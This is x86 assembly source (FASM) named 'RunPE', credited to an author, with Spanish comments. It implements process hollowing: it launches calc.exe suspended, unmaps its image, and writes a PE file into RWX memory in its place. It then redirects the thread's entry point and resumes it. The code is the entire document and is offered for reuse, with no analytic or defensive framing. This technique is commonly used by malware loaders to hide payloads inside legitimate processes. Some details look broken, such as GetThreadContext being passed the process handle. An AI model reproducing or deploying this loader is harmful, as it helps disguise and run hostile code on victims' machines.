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; // RunPE ; // Programado por Juan fary (mDrinky) ; // drinky.94@hotmail.com format PE GUI 4.0 include 'win32ax.inc' entry start section '.data' readable writeable struct CONTEXT ContextFlags dd ? Dr0 dd ? Dr1 dd ? Dr2 dd ? Dr3 dd ? Dr6 dd ? Dr7 dd ? FloatSave dd ? SegGs dd ? SegFs dd ? SegEs dd ? SegDs dd ? Edi dd ? Esi dd ? Ebx dd ? Edx dd ? Ecx dd ? Eax dd ? Ebp dd ? Eip dd ? SegCs dd ? EFlags dd ? Esp dd ? SegSs dd ? ExtendedRegisters rb 512 ends calc db 'c:\windows\system32\calc.exe',0 bleidos dd 0 Datos dd 0 Espacio dd 0 _SI STARTUPINFO ? _PI PROCESS_INFORMATION ? CTX CONTEXT ? Param2 dd 0 ; Datos PE imagebase dd ? sizeofheaders dd ? sizeofimage dd ? numseciones dd ? section '.code' executable readable writeable start: invoke CreateProcessA,calc,0,0,0,FALSE,CREATE_SUSPENDED,0,0,_SI,_PI invoke CreateFileA,calc, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 ; nos autoleemos mov ebx,eax invoke GetFileSize,ebx,0 mov edi,eax invoke GlobalAlloc,GPTR,edi push eax invoke ReadFile,ebx,eax,edi,addr bleidos,0 invoke CloseHandle,ebx pop eax mov [Datos],eax cmp word[eax],'MZ' jne salir add eax,dword[eax+0x3C] ; PE cmp word[eax],'PE' jne salir push dword[eax+0x34] ; imagebase pop [imagebase] push dword[eax+0x54] ; sizeofheaders pop [sizeofheaders] push dword[eax+0x50] pop [sizeofimage] ; sizeofimage movzx ebx,word[eax+0x6] ; numero de secciones mov [numseciones],ebx push eax ; guardamos ya EAX para el final push eax invoke NtUnmapViewOfSection,[_PI.hProcess],[imagebase] invoke VirtualAllocEx,[_PI.hProcess],[imagebase],[sizeofimage],0x3000, PAGE_EXECUTE_READWRITE mov [Espacio],eax invoke WriteProcessMemory,[_PI.hProcess],eax,[Datos],[sizeofheaders],0 pop eax mov ecx,0 add eax,0xF8 ; posicionamos en las cabeceras de sección EscribirSecciones: inc ecx push ecx push eax mov ebx,eax mov ebx,dword[ebx+0xC] ; imagebase add ebx,[imagebase] mov [Param2],ebx mov ebx,eax mov ebx,dword[ebx+0x14] mov edx,[Datos] add edx,ebx mov ebx,eax mov ebx,dword[ebx+0x10] invoke WriteProcessMemory,[_PI.hProcess],[Param2],edx,ebx,0 pop eax pop ecx add eax,0x28 ; Siguiente IMAGE_SECTION_HEADER cmp ecx,[numseciones] jne EscribirSecciones invoke GetThreadContext,[_PI.hProcess],CTX invoke WriteProcessMemory,[_PI.hProcess],dword[CTX.Ebx+8],imagebase,0x4,0 pop eax add eax,dword[eax+0x3C] mov eax,dword[eax+0x28] mov [CTX.Eax],eax ; EntryPoint invoke SetThreadContext,[_PI.hProcess],CTX invoke ResumeThread,[_PI.hThread] salir: ret section '.idata' import data readable writeable library NTDLL,'NTDLL.DLL',\ KERNEL32,'KERNEL32.DLL' import KERNEL32,\ CreateProcessA,'CreateProcessA',\ CreateFileA,'CreateFileA',\ GetFileSize,'GetFileSize',\ GlobalAlloc,'GlobalAlloc',\ ReadFile,'ReadFile',\ CloseHandle,'CloseHandle',\ VirtualAllocEx,'VirtualAllocEx',\ WriteProcessMemory,'WriteProcessMemory',\ GetThreadContext,'GetThreadContext',\ SetThreadContext,'SetThreadContext',\ ResumeThread,'ResumeThread' import NTDLL,NtUnmapViewOfSection,'NtUnmapViewOfSection'